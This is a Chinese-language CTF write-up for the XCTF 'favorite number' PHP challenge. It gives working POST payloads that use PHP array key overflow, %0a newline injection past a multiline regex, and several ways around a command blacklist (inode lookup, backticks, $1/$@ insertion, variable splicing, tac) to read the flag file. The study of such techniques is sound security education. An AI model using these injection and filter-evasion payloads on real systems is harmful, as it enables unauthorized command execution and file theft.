#favorite number xctf 攻防世界 web高手进阶区
题目描述

进入题目场景,发现是一段php代码。

代码审计
1.通过POST方式传入stuff这个参数。
2.定义了一个数组变量array,有admin和user。只有当stuff和array这两个数组完全相等(因为使用全等号===)并且stuff索引为0的的元素不等于admin,才能往下执行,否则就highlight(FILE)。
3.通过POST方式传入一个num,然后通过正则过滤返回一个数字(大小写不敏感,跨行检测)。
4.最后是个黑名单,把许多常用的语句都排除了。
解决办法:
绕过第一个if语句(PHP数组key溢出,2^32 = 4294967296)
构造payload:stuff[4294967296]=admin&stuff[1]=user&num=123

第2个if()语句,利用url换行符%0a,第一行是数字绕过正则。
preg_match()有/m,也就是多行匹配,因此^和$不仅匹配字符串的开头和结尾,也能匹配一行的开头和结尾,因此可以利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。
构造payload:stuff[4294967296]=admin&stuff[1]=user&num=1%0a ls /
这里在hackbar提交页面没有任何提示,查看源码也是。
所以只能抓包提交看看。

发现flag,在第三个if()语句中有flag,cat等多数语句被过滤。
所以可以考虑使用文件inode。
显示命令ls有几个参数
-a显示全部文件包括隐藏文件
-l长文件格式即显示全部信息
-h已合适单位显示文件大小
-d只显示目录文件
-t按时间显示
-i查看文件的inode号(inode存储文件的详细信息)
构造payload查看flag的inode:stuff[4294967296]=admin&stuff[1]=user&num=1%0a ls -i /

1.因为cat被过滤了,可以使用more查看,利用反引号读取文件。
构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=1%0a more `find / -inum 14689653`

2.利用$1和 $@
∗和@, x ( x 代 表 1 − 9 ) , {x}(x>=10) :比如ca${1}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空.
构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=1%0aca$1t /fl$1ag
stuff[4294967296]=admin&stuff[1]=user&num=1%0aca$@t /fl$@ag

3.拼接变量
构造payload:stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=fl;b=ag;tac /$a$b

4.可以使用tac查看
stuff[4294967296]=admin&stuff[1]=user&num=1%0a tac+/fla``g


浙公网安备 33010602011771号